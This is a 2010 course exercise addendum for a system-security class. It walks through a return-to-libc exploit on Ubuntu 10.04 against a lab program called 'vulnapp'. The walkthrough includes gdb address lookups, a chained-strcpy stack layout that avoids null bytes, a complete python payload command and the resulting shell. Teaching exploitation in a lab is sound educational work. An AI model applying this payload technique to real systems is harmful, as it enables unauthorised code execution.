

System Security, Spring 2010 - Exercise 5 Addendum

Using Ubuntu 10.04 - Execute a shell

As with the previous attacks from Exercise 5, ASLR has to be disabled for this exploit to work. `sudo echo 0 > /proc/sys/kernel/randomize_va_space`

The exploit that we will create will again be a return-to-libc exploit which circumvents the non-executable stack protection, in fact there are only a few changes that have to be applied to the exploit from Attack 1 to make it work on a recent Ubuntu version.

We will start where it's getting interesting and therefore begin with looking at the address of the `system()` function. We notice that the address contains the null character, actually there are even two of them, that we have to avoid in our exploit.

```
(gdb) p system
$1 = {<text variable, no debug info>} 0x001671000 <system>
```

And here is how we will still be able to use that function:

Looking at the last few lines of the disassembled `cpybuf` function we find a set of `pop` and `ret` instructions which we can use to chain the execution of functions.

```
(gdb) disassemble cpybuf
Dump of assembler code for function cpybuf:
...
0x080484de <+46>:      pop     %ebx
0x080484df <+47>:      pop     %ebp
0x080484e0 <+48>:      ret
End of assembler dump.
```

Using the `strcpy@plt` function we can modify our exploit during runtime and therefore place the null character into a modified `system()` address, that does not contain the null character. Since the modified `system()` address now does not have to contain the null character we can use it in our exploit.

To do so the stack has to be modified such that it looks like the one in figure 1, where multiple function calls have been chained together such that the `strcpy@plt` function gets executed twice before the `system()` function, which will then have the proper address.

The addresses of the `strcpy@plt` and `exit@plt` functions can again be found with `gdb`.

```
(gdb) p 'strcpy@plt'
$2 = {<text variable, no debug info>} 0x080483d4 <strcpy@plt>
(gdb) p 'exit@plt'
$3 = {<text variable, no debug info>} 0x08048404 <exit@plt>
```

0	arg1: return code
BBBB	ret of exit -> filler
0x08048404	exit@plt
0x8049818	arg1: string to execute (address)
0x080484df	pop-and-ret 1
0x90167190	modified system() address
0x08049821	arg2: where to take null char. from (address)
0xbffff42f	arg1: where to place null char. (address)
0x080484de	pop-and-ret 2
0x080483d4	strcpy@plt -> second replacement
0x08049821	arg2: where to take null char. from (address)
0xbffff42c	arg1: where to place null char. (address)
0x080484de	pop-and-ret 2
0x080483d4	strcpy@plt (saved ret)
AAAA	(saved ebp)
AAAA	(saved ebx)
AAAA	(buff[9-11])
...	

Figure 1: stack layout

The address of a null character is easy to find, since we can use the null character that we enter when we are prompted for an input. Finding the right address of the modified

bytes in the `system()` function's address can be done using `gdb`. Instead of running the `vulnapp` directly in `gdb` it's recommended to use `(gdb) attach #process_id` such that the exploit will also work when `gdb` is not used.

Putting everything together we get the following exploit.

```
./vulnapp `python -c 'print "A"*20+"'` \xd4\x83\x04\x08\xde\x84\x04\x08 ↵
    \x2c\xfa\xff\xbf\x21\x98\x04\x08\xd4\x83\x04\x08\xde\x84\x04\x08 ↵
    \x2f\xfa\xff\xbf\x21\x98\x04\x08\x90\x71\x16\x90\xdf\x84\x04\x08 ↵
    \x18\x98\x04\x08\x04\x84\x04\x08"+"B"*4,'`
```

Type some text:

/bin/dash

You typed: [/bin/dash]

You provided: [AAAAAAAAAAAAAAAAAAAAA??????...????BBBB]

\$ ps

PID	TTY	TIME	CMD
1680	pts/0	00:00:01	bash
4990	pts/0	00:00:00	vulnapp
4991	pts/0	00:00:00	sh
4992	pts/0	00:00:00	dash
4993	pts/0	00:00:00	ps

\$ exit

cyrill@sokrates:~/Desktop\$ echo \$?

0

References

- [1] Smashing the Stack for Fun and Profit & Return-Into-Libc Exploits. URL <http://www.ics.uci.edu/~mbebenit/ics142b/data/PStack.pdf>.